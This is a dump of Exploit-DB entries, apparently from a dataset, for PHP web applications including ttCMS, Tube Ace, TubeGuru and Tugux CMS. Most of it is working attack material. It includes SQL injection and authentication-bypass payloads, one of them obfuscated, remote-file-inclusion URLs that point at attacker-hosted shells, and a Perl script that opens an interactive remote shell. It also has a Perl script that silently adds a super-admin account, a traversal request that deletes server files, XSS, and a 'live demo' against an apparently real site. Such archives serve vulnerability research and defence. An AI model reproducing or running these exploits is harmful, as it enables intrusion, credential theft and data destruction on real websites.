deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43915
Description: TSiteBuilder 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: TSiteBuilder 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://www.datacomponents.net/
# Software Link: http://www.datacomponents.net/products/website/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php
# 
# User: ' OR 1 -- - Pass: anything
# 
# 2)
# http://localhost/[PATH]/site.php?id=[SQL]
# 
# %2d%33%36%34%27%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%28%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%30%78%33%30%37%38%33%32%33%38%33%33%33%31%33%32%33%39%2c%30%78%32%38%33%32%32%39%2c%2f%2a%21%30%38%38%38%38%43%4f%4e%43%41%54%5f%57%53%2a%2f%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%30%78%34%39%34%38%35%33%34%31%34%65%32%30%35%33%34%35%34%65%34%33%34%31%34%65%2c%28%2f%2a%21%30%38%38%38%38%53%65%6c%65%63%74%2a%2f%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%2f%2a%21%30%38%38%38%38%73%65%6c%65%63%74%2a%2f%20%63%6f%75%6e%74%28%2a%29%2f%2a%21%30%38%38%38%38%66%72%6f%6d%2a%2f%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%2f%2a%21%30%38%38%38%38%74%61%62%6c%65%5f%6e%61%6d%65%2a%2f%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%2f%2a%21%30%38%38%38%38%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2a%2f%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2c%30%78%33%30%37%38%33%32%33%38%33%33%33%36%33%32%33%39%2c%30%78%32%38%33%37%32%39%2c%30%78%32%38%33%38%32%39%29%2d%2d%20%2d
# 
# 3)
# http://localhost/[PATH]/pagelist.php?id=[SQL]
# 
# 4)
# http://localhost/[PATH]/page_new.php?id=[SQL]
# 
# # # # #
Exploit-DB #17935
Description: Tsmim Lessons Library - 'show.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-06
Author: M.Jock3R

Exploit:
===================================================================================
tsmim lessons library sql injection Vulnerabilities 
===================================================================================

# Exploit Title: tsmim lessons library sql injection Vulnerabilities
# Author: M.Jock3R
# Script Support Link: http://www.tsmim.com/vb/showthread.php?t=21783
# Download Script: http://up.tsmim.com/uploads/files/tsmim-e47615d4bd.zip
# Category:: webapps
# Tested on: windows XP Sp2 FR

===================================================================================

-----------------------------------------------------------------------------------

Vunl file : show.php

Exploit:

http://localhost/droos/show.php?cid=2&page=[Inj3ct]

===================================================================================

Greets To : 
adelsbm / attiadona  / Wjunction forum
---------------------------------
I Love you Mindy
---------------------------------
Email : madrido.jocker@gmail.com

THANKS TO ALL ALGERIANS HACK3RS 
===================================================================================
Exploit-DB #11923
Description: TSOKA:CMS 1.1/1.9/2.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-28
Author: d3v1l

Exploit:
[~]-----------------------------------------------------------------------------------------------------------------------
[~] TSOKA:CMS v1.1 , v1.9 AND v2.0 SQL Injection & XSS Vulnerability
[~]
[~] http://www.alanzard.com (from italy)
[~]
[~]
[~] ----------------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 28.03.2010
[~]
[~]
[~] http://security-sh3ll.blogspot.com
[~]
[~] ----------------------------------------------------------------------------------------------------------------------
[~] articolo&id= SQL & XSS
[~]
[~]
[~] Ex -
[~]
[~] http://[site]/?pag=articolo&id=">
[~] http://[site]/?pag=articolo&id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8--
[~]------------------------------------------------------------------------------------------------------------------------
Exploit-DB #9335
Description: TT Web Site Manager 0.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-03
Author: SirGod

Exploit:
#########################################################################
[+] TT Web Site Manager 0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################

[+] Homepage  : http://www.technotoad.com/

[+] Auth Bypass

 - Go to

     http://127.0.0.1/tt/

 - PoC

     Username : admin ' or' 1=1
     [CREDENTIAL_REDACTED]

#########################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #22578
Description: ttCMS 2.2 / ttForum 1.1 - 'install.php?installdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-05-09
Author: Charles Reinold

Exploit:
source: https://www.securityfocus.com/bid/7542/info
 
A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.
 
Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.
 
There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.

http://www.example.com/install.php?step=7&installdir=http://yourserver/Settings.php
Exploit-DB #22577
Description: ttCMS 2.2 / ttForum 1.1 - 'news.php?template' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-05-09
Author: Charles Reinold

Exploit:
source: https://www.securityfocus.com/bid/7542/info

A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.

There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.


http://www.example.com/ttforum/index.php?action=news;board=1;
template=http://www.yourserver.com/modules/forum/helpadmin;ext=help
Exploit-DB #22612
Description: ttCMS 2.2/2.3 - 'header.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-05-17
Author: ScriptSlave@gmx.net

Exploit:
source: https://www.securityfocus.com/bid/7625/info

A remote file include vulnerability has been reported for ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'header.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL. 

http://target/admin/templates/header.php?admin_root=http://attacker/
Exploit-DB #22618
Description: ttCMS 2.2/2.3 / ttForum 1.1 - 'index.php' Instant-Messages Preferences SQL Injection
Type: webapps
Platform: php
Date: 2003-05-20
Author: ScriptSlave@gmx.net

Exploit:
source: https://www.securityfocus.com/bid/7634/info

A problem with ttCMS/ttForum could make it possible for a remote user to launch SQL injection attacks.

It has been reported that a problem exists in the Instant-Messages script distributed as part of the software. Due to insufficient sanitizing of input, it is possible for a remote user to inject arbitrary SQL into the database used by the web forums.

It should be noted that the current version of YaBB SE, the Forum that ttForum was derived from, is not affected by this vulnerability. 

http://www.example.org/board/index.php?action=imprefs

Go to the Ignorelist-Textfield and enter:

',memberGroup='Administrator
Exploit-DB #3563
Description: ttCMS 4 - 'ez_sql.php?lib_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-24
Author: Kacper

Exploit:
DEVIL TEAM - HACKING POLISH TEAM

Author: Kacper (a.k.a Rahim)
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Irc: irc.milw0rm.com:6667 #devilteam 
--------------------------------------------
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.



ttCMS <= v4 (ez_sql.php lib_path) RFI Vulnerability
script download/homepage: http://www.ttcms.com/v4/


--------------------------------------------
Vulnerabilities:

http://site.com/ttCMS_path/lib/db/ez_sql.php?lib_path=[evil_code]

# milw0rm.com [2007-03-24]
Exploit-DB #12048
Description: ttCMS 5.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: ITSecTeam

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ahmadbady</title>

<script language="JavaScript">

//===========================================================================
//( #Topic    : ttCMS_v5
//( #Bug type : remote file include
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
   
//---------------------------------------------------------------------


   var path="/_acp/templates/"
   var file="inc.header.php"
   var variable ="?SYSURL[root]="
   var shell="http://ahmadbady.persiangig.com/other/a.txt?"

   function it(){
  xpl.action= document.xpl.victim.value+path+file+variable+shell;xpl.submit();
   }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#0000FF"><b>ttCMS_v5 remote file include</b></font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <b><font face="Tahoma" size="2"><font color="#FF0000">example</font>:http://victim/scriptpath</a></font>
  	or
  	</font>
  	<font face="Tahoma" size="2" color="#000000">http://victim</font><font 
size="2" face="Tahoma"></a> <font size="2">&nbsp;--&gt;</font></font></b><font 
size="2" face="Tahoma">
  	<input type="text" name="victim" size="20";"></p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="AGAIN" name="B2" style="float: left"></p>
</form>
<p><br>
&nbsp;</p>
</center>
</body>

</html>
Exploit-DB #27250
Description: TTS Software Time Tracking Software 3.0 - 'edituser.php' Access Validation
Type: webapps
Platform: php
Date: 2006-02-20
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16731/info

Time Tracking Software is prone to an access-validation vulnerability. This issue is due the application's failure to limit access to administrative sections of the application. 

An attacker can exploit this vulnerability to modify user data in the context of the application. This may result in a loss of confidentiality. The attacker may use this information in further attacks. 

This issue is reported to affect Time Tracking Software version 3.0; other versions may also be vulnerable.

http://www.example.com/timetracking/edituser.php? num=[userid]
Exploit-DB #18466
Description: Tube Ace (Adult PHP Tube Script) - SQL Injection
Type: webapps
Platform: php
Date: 2012-02-06
Author: Daniel Godoy

Exploit:
# Exploit Title: Tube Ace(Adult PHP Tube Script) SQL Injection
# Date: 05/02/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: Tube Ace
# http://www.tubeace.com
# Tested on: Linux
# Dork: "?viewStandard=0"
  
[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt,
Maximiliano Soler
    Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion
    her0, r0dr1 y demas user de RemoteExecution 
    www.remoteexecution.info www.remoteexcution.com.ar 
    #RemoteExecution Hacking Group

[PoC]

http://localhost/mobile/search/?q=[SQL Injection]

http://localhost/mobile/search/?q=1') AND (SELECT 9602 FROM(SELECT
COUNT(*),CONCAT(CHAR(58,109,111,110,58),(SELECT (CASE WHEN
(9602=9602) THEN 1 ELSE 0
END)),CHAR(58,107,109,109,58),FLOOR(RAND(0)*2))x FROM
information_schema.tables GROUP BY x)a) AND ('LMEk'='LMEk&channel=

[DEMO]

http://server/mobile/search/?q=1%27%29%20AND%20%28SELECT%209602%20FROM%28SELECT%20COUNT%28*%29,CONCAT%28CHAR%2858,109,111,110,58%29,%28SELECT%20%28CASE%20WHEN%20%289602=9602%29%20THEN%201%20ELSE%200%20END%29%29,CHAR%2858,107,109,109,58%29,FLOOR%28RAND%280%29*2%29%29x%20FROM%20information_schema.tables%20GROUP%20BY%20x%29a%29%20AND%20%28%27LMEk%27=%27LMEk&channel=
Exploit-DB #36790
Description: Tube Ace - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-16
Author: Daniel Godoy

Exploit:
source: https://www.securityfocus.com/bid/52046/info

Tube Ace is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel=
Exploit-DB #6170
Description: TubeGuru Video Sharing Script - 'UID' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-30
Author: Hussin X

Exploit:
|___________________________________________________|
|
| TubeGuru (ugroups php UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.pozscripts.com/product_details.php?category_id=0&item_id=3
|
| DorK   : inurl:ugroups.php?UID=
|
|___________________________________________________|



Exploit:  

www.[target].com/Script/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+signup--



L!VE DEMO: :


http://www.tubeguru.net/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+signup--



admin login :

www.[target].com/Script/admin2/siteadmin/index.php

____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-30]
Exploit-DB #2896
Description: Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-08
Author: 3l3ctric-Cracker

Exploit:
#!/usr/bin/perl
#Tucows Open Project --Remote File Inclusion Vulnerablity
#Bug Found & Exploit [c]oded By Dr Max Virus
#Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2[PII_REDACTED].zip


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/libs/tucows/api/cartridges/crt_TUCOWS_domains/lib/domainutils.inc.php?_ENV[TCA_HOME]='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[&#234;]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[&#234;]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;



sub header()
{
print q{
*******************************************************************************
Tucows open Project  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
******************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[tucows FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. www.evilhost.com/shell.txt
[shell Cmd Variable] - Command variable for php shell
Example: perl exploit.pl http://www.site.com/[tucows]/
********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-08]
Exploit-DB #17000
Description: Tugux CMS - 'nid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-03-18
Author: eidelweiss

Exploit:
===================================================================
    Tugux CMS (nid) BLIND sql injection vulnerability
===================================================================
 
Software:   Tugux CMS
Vendor:     www.tugux.com
Vuln Type:  BLind SQL Injection
Download link:  http://sourceforge.net/projects/tuguxcms/files/tuguxCMS_v.1.0_final.rar/download
Author:     eidelweiss
contact:    eidelweiss[at]windowslive[dot]com
Home:       www.eidelweiss.info
 
 
References: http://eidelweiss-advisories.blogspot.com/2011/03/tugux-cms-nid-blind-sql-injection.html
 
 
===================================================================
 
    exploit & p0c
 
[!] latest.php?nid=[valid nid]
 
    Example p0c
 
[!] http://server/latest.php?nid=9    <= True
[!] http://server/latest.php?nid=-9   <= False
 
[+] http://server:3306    <= download the file , save and open with c++ or wordpad will show mysql version
 
[!] sample: http://server:3306 result : 5.0.92-community (use versi 5.0.92) :D
 
 
====================================================================
 
    Nothing Impossible In This World Even Nobody`s Perfect
 
===================================================================
 
==========================| -=[ E0F ]=- |==========================
Exploit-DB #16997
Description: Tugux CMS 1.0_final - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-17
Author: Aodrulez

Exploit:
+----------------------------------------------+
| Tugux CMS 1.0_final Multiple Vulnerabilities |
+----------------------------------------------+
  
Vulnerable Web-App : Tugux CMS 1.0_final
Vulnerability      : Multiple Vulnerabilities.
Author             : Aodrulez. (Atul Alex Cherian)
Email              : f3arm3d3ar@gmail.com
Google-Dork        : "Copyright 2010-2011 Tugux CMS"
Tested on          : Ubuntu 10.04
Web-App            : http://sourceforge.net/projects/tuguxcms/
 
 
+---------+
| Details |
+---------+

1] SQLi 
Exploit : http://localhost/latest.php?nid=9'[sqli]

2] "create_admin_parse.php"
Vulnerability : Can be used to add Super Admin Accounts without
                any authentication. :)



+--------------------+
| Exploit (Perl Code)|
+--------------------+
(This Exploit will Add 
a new Super Admin Account)

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP 5.64;
my $browser = LWP::UserAgent->new();
my $url=$ARGV[0];
print "+----------------------------------------+\n";
print "| Tugux CMS 1.0 Multiple Vulnerabilities |\n";
print "+----------------------------------------+\n\n";
print "Author             : Aodrulez.\n";
print "Email              : f3arm3d3ar\@gmail.com\n";
print "Google-Dork        : \"Copyright 2010-2011 Tugux CMS\"\n";
if(!$url)
{die ("\nPlease enter the target url. Ex. perl $0 http://www.test.com");}
my $exploit='/administrator/create_admin_parse.php';
print "\n[+] Creating a new Super Admin \\m/";
$response = HTTP::Request->new(POST => $url.$exploit) or die("\n Connection Error!");
$response->content_type("application/x-www-form-urlencoded");
$response->content("username=Aodrulez&pass1=aod&type=a");
my $data=$browser->request($response)->as_string;
if($data!~m/HTTP\/1.1 200 OK/){ die ("\n$url Not Vulnerable!\n");}
print "\n[!] Admin Username : Aodrulez\n[!] Admin Password : aod\n[!] Type : Super Admin.\n";



+-------------------+
| Greetz Fly Out To |
+-------------------+
   
  
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.isac.org.in
 
 
+-------+
| Quote |
+-------+
 
"FREEDOM! FOREVER!" - Aodrulez
Exploit-DB #17518
Description: Tugux CMS 1.2 - 'pid' Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2011-07-10
Author: LiquidWorm

Exploit:
Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability


Vendor: Tugux Studios
Product web page: http://www.tugux.com
Affected version: 1.2

Summary: Tugux CMS is a free, open-source content Management system
(CMS) and application that powers the entire web.

Desc: Input passed to the 'pid' parameter in administrator/delete_page_parse.php
is not properly sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server via directory traversal
sequences passed within the 'pid' parameter.


------------------------------------------------------------------------------
/administrator/delete_page_parse.php:
------------------------------------------------------------------------------

1: <?php 
2: ///post form data
3: $id=$_POST['pid'];
4: 
5:  $pic1 = ("slides/$id/image_01.jpg");
6: 	 if (file_exists($pic1)) {
7: 		    unlink($pic1);
8:     }
9:  $dir = "slides/$id";
10:     rmdir($dir);
11: 
12: include_once "../scripts/connect_to_mysql.php";
13: $query = mysqli_query($myConnection, "DELETE FROM pages WHERE id='$id' ") or die (mysqli_error($myConnection));
14: echo '<table align="center"><tr> <td><div style=" width:300px; margin:auto; border:1px solid #BBB; font-family:Arial, Helvetica, sans-serif; color:#666; text-align:center">
15: <img src="images/check.png" width="90" height="87"><br />
16: Operation completed.Your page has been DELETED.<br />
17: <a href="index.php">Click Here to go back</a></div></td></tr></table>';
18: exit();
19: ?>

------------------------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5024
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php


02.04.2011


--

POST /tugux/administrator/delete_page_parse.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="pid"

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
------x--